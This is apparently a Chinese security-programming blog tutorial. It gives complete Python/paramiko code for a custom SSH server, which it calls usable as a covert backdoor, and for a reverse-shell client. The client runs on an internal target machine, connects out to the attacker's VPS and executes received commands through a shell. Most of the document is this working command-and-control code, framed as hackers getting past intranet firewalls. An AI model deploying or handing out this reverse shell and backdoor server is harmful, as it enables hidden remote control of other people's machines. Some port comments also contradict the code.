网络安全编程——如何用Python实现SSH 服务端和SSH 反向 Shell(突破内网)

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档

文章目录


文章介绍

这里还是回顾之前的写过的代码:基于Python实现的SSH通信代码(Linux执行)

  • 之前这篇文章写的主要是Linux版本的SSH客户端
  • 改进之处:本文将讲解如何利用Python去打造自建的 SSH 服务端,以及SSH 反向 Shell(突破内网)

SSH客户端代码(可单独使用连接机器)

下面是SSH客户端代码,很简单的代码:

python 复制代码
import getpass
import paramiko

def ssh_command(ip,port,user,passwd,cmd):
    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

    try:
        client.connect(ip,port=port,username=user,password=passwd,timeout=10)
        print(f"如果需要退出,输入quie 或者 exit")

        while True:
            cmd = input(f"SSH >:")
            if cmd.lower() in['exit','quit']:
                print(f"用户正在退出连接...")
                break

            if not cmd.strip():
                continue

            stdin,stdout,stderr = client.exec_command(cmd,timeout=10)

            stdout_output = stdout.readlines()
            stderr_output = stderr.readlines()

            if stdout_output:
                print(f"标准输出")
                for line in stdout_output:
                    print(line.strip())

            if stderr_output:
                print(f"标准错误")
                for line in stderr_output:
                    print(line.strip())

    except Exception as e:
        print(f"其他错误:{e}")

    finally:
        client.close()

if __name__ == "__main__":
    user = input(f"Username is:")
    passwd = getpass.getpass(f"Password is:")

    ip = input(f"Enter the target ip addr:") or '192.168.44.131'
    port = input(f"Enter the target port:") or '22'
    cmd = input(f"Enter your cmd shell:") or 'id'

    try:
        port = int(port)

    except:
        port = 2222

    ssh_command(ip,port,user,passwd,cmd)

客户端的代码之前已经讲过,不熟悉的师傅可以点击上面的文章链接进行查看;

该代码已经可以单独使用:


--

SSH 服务端实现(Part-1)

你可以用它来做蜜罐(Honeypot) 记录攻击者的密码,或者作为隐蔽的后门服务端。

你需要在这个脚本的同级目录下生成一个秘钥文件(或者让代码每次随机生成,这里演示读取本地秘钥)

  • 生成测试秘钥命令:ssh-keygen -t rsa -f test_rsa.key
python 复制代码
import os
import paramiko
import socket
import sys
import threading

# 1. 继承 ServerInterface,重写认证规则
class Server(paramiko.ServerInterface):
    def __init__(self):
        self.event = threading.Event()

    # 检查信道请求(允许开启 shell)
    def check_channel_request(self, kind, chanid):
        if kind == 'session':
            return paramiko.OPEN_SUCCEEDED
        return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED

    # 自定义密码认证逻辑(因为没有数据库,所以这里固定用户名为 leco,密码为 123)
    def check_auth_password(self, username, password):
        if (username=='leco') and (password=='123'):
            return paramiko.OPEN_SUCCEEDED
        return paramiko.AUTH_FAILED

def start_ssh_server(ip,port):
    server_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    server_socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)

    server_socket.bind((ip,port))
    server_socket.listen(100)
    print(f"[*] SSH Server listening on {ip}:{port}....")

    client_socket,addr = server_socket.accept()
    print(f"[+] Incoming connection from {addr[0]}:{addr[1]}")

    # 2. 将普通的 socket 升级为 SSH 协议通道
    bnSession = paramiko.Transport(client_socket)
    bnSession.add_server_key(paramiko.RSAKey.generate(2048)) # 随机生成服务器密钥

    server = Server()

    try:
        # Using start_server is the standard way to initialize the server side
        bnSession.start_server(server=server)
    except Exception as e:
        print(f"[-] SSH negotiation failed: {e}")
        sys.exit()

    # 3. 等待客户端建立通道
    chan = bnSession.accept(20)
    if chan is None:
        print(f"[-] No channel opened by client...")
        sys.exit()

    print(f"[*] Client connected and authenticated.")
    # 服务端发送Hello信息
    chan.send(b"[*] Welcome to Leco's SSH Server ...")

    # 4. 服务端主动发送命令给客户端执行
    while True:
        try:
            cmd = input(f"SSH-Shell >> ").strip('\n')
            if not cmd:
                continue

            if cmd.lower() not in ['quit','exit']:
                chan.send(cmd.encode())

                # 接收客户端执行后的回传结果
                result = chan.recv(10240).decode('utf-8', errors='ignore') + '\n'
                print(f"[*] Received result:\n{result}")

            else:
                chan.send(b'exit')
                print(f"[*] Exiting...")
                bnSession.close()
                break

        except KeyboardInterrupt:
            bnSession.close()
            break

if __name__ == "__main__":
    # 修改端口为1081,避免22端口被占用
    start_ssh_server('0.0.0.0', 1081)

具体流程图如下:

bash 复制代码
[Step 1: 建立基础监听]  → server_socket.bind() / listen()
                              (在本地端口开启普通的 TCP 监听,等待猎物)
                                │
                                ▼
[Step 2: 接收 TCP 连接] → server_socket.accept()
                              (有客户端连进来了!拿到原始的网络 Socket)
                                │
                                ▼
[Step 3: 协议升级与认证] → paramiko.Transport() & check_auth_password()
                              (给普通 Socket 套上 SSH 加密壳,并验证 leco/123 密码)
                                │
                                ▼
[Step 4: 开启数据信道]  → bnSession.accept() & check_channel_request()
                              (认证通过!双方同意打通一条名为 'session' 的数据传输管道)
                                │
                                ▼
[Step 5: 发送控制命令]  → input() → chan.send(cmd)
                              (黑客在服务端输入命令,通过加密信道发给远端靶机)
                                │
                                ▼
[Step 6: 接收回传结果]  → chan.recv(1024) → print()
                              (靶机执行完毕,服务端接收并打印结果,循环回到 Step 5)

SSH 反向 Shell -Client 变成被控端(Part-2)

场景 :目标靶机在内网(防火墙不让你连它)。于是你在靶机上运行反向客户端,让靶机主动连你的公网服务端。连接成功后,由你的服务端发送命令,靶机执行后把结果发回来!

以下是运行在内网靶机上的反向客户端代码(配合上面的服务端使用):

python 复制代码
import paramiko
import subprocess
import os

def reverse_ssh_client(server_ip, server_port, user, passwd):
    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

    try:
        # 1. 主动连接黑客的公网 SSH 服务端
        print(f"[*] Attempting to connect to {server_ip}:{server_port}...")
        client.connect(server_ip, port=server_port, username=user, password=passwd, timeout=15)

        # 2. 开启通道
        transport = client.get_transport()
        chan = transport.open_session()

        # 接收服务端的 Welcome 欢迎语
        print(chan.recv(1024).decode())

        # 3. 循环接收黑客发来的命令,在本地执行后,把结果发回去
        while True:
            command = chan.recv(1024).decode().strip()
            if not command:
                continue
                
            if command.lower() == 'exit':
                print("[*] Exit command received.")
                break

            # 使用 subprocess 在靶机本地执行系统命令
            try:
                # Using 'gbk' for Windows decoding, 'utf-8' for Linux
                cmd_output = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT)
            except subprocess.CalledProcessError as e:
                cmd_output = e.output
            except Exception as e:
                cmd_output = str(e).encode()

            # 将执行结果回传给服务端
            if not cmd_output:
                cmd_output = b"Command executed with no output."
            chan.send(cmd_output)

    except Exception as e:
        print(f"[-] Connection or execution error: {e}")
    finally:
        client.close()
        print("[*] Client connection closed.")

if __name__ == '__main__':
    # 这里的账号密码必须和你在第二节服务端代码里写死的一致
    # Replace '127.0.0.1' with your actual VPS IP when deploying
    reverse_ssh_client('117.x.x.x', 1081, 'leco', '123')

流程图如下:

bash 复制代码
[Step 1: 主动连接控制端]   ->  client.connect(server_ip)
                               (靶机主动向公网黑客发起连接,突破内网防火墙的入站限制)
                                |
                                ↓
[Step 2: 建立通信信道]     ->  transport.open_session()
                               (底层的 TCP 握手完成后,开启名为 session 的加密指令通道)
                                |
                                ↓
[Step 3: 接收握手欢迎语]   ->  chan.recv(1024).decode()
                               (通道打通!收到服务端发来的 Welcome 提示,确认对方身份)
                                |
                                ↓
[Step 4: 挂起并等待命令]   ->  command = chan.recv(1024)
                               (进入死循环,等待黑客下发远程控制指令)
                                |
                                ↓
[Step 5: 操作系统本地执行]  ->  subprocess.check_output(command)
                               (收到指令!调用操作系统的 cmd.exe 或 bash 真实执行该命令)
                                |
                                ↓
[Step 6: 将结果加密回传]   ->  chan.send(cmd_output)
                               (把屏幕上的输出结果打包,顺着隧道发回给控制端,然后循环回到 Step 4)

测试效果

准备工作:

  • 公网 VPS (服务端): 117.x.x.x
  • 本地 PC (内网靶机): 模拟无法被外网直接访问的机器。
  • 通信端口: 建议使用 8888(避免 22 端口被系统 SSH 占用)。

(1)在VPS上,修改服务端脚本 (server.py)

bash 复制代码
if __name__ == "__main__":
    # 监听所有网卡,端口改为 8888
    start_ssh_server('0.0.0.0', 1081)

在 VPS 上执行命令:python3 server.py

(2)本地 PC(内网靶机)配置,修改客户端脚本 (client.py)

bash 复制代码
if __name__ == '__main__':
    # 指向你的 VPS 公网 IP,端口需与服务端一致
    reverse_ssh_client('117.x.x.x', 1081, 'leco', '123')

在本地 PC 上执行命令:python3 client.py

(3)运行后,本地 PC 会主动发起向 117.x.x.x:1081 的连接;随后在服务端执行命令,能够看到确实是本地PC(内网主机)Windows信息

(4)服务端执行命令,但是客户端无任何信息返回:

总结

至此,简单的 内网反弹shell客户端 以及 SSH服务器 成功搭建,期待下次再见;

相关推荐
sinat_255487812 小时前
泛型·学习笔记
java·jvm·数据库·windows·python
猫咪老师2 小时前
Day9 Python 关于协程的最详细介绍!
python
单片机学习之路2 小时前
【Python】输入input函数
开发语言·python
不屈的铝合金2 小时前
Python入门:输入输出(I/O)指南
windows·python·i/o·input·print·输入输出
lifallen2 小时前
Flink Agent 与 Checkpoint:主循环闭环与 Mailbox 事件驱动模型
java·大数据·人工智能·python·语言模型·flink
平安的平安2 小时前
Python 构建AI多智能体系统:让三个 AI 协作完成复杂任务
开发语言·人工智能·python
曲幽2 小时前
FastAPI + Vue 前后端分离实战:我的项目结构“避坑指南”
python·vue·fastapi·web·vite·proxy·cors·env
Kapaseker2 小时前
Python 提速 — 惰性导入
python
杜子不疼.2 小时前
Python + Ollama 本地跑大模型:零成本打造私有 AI 助手
开发语言·c++·人工智能·python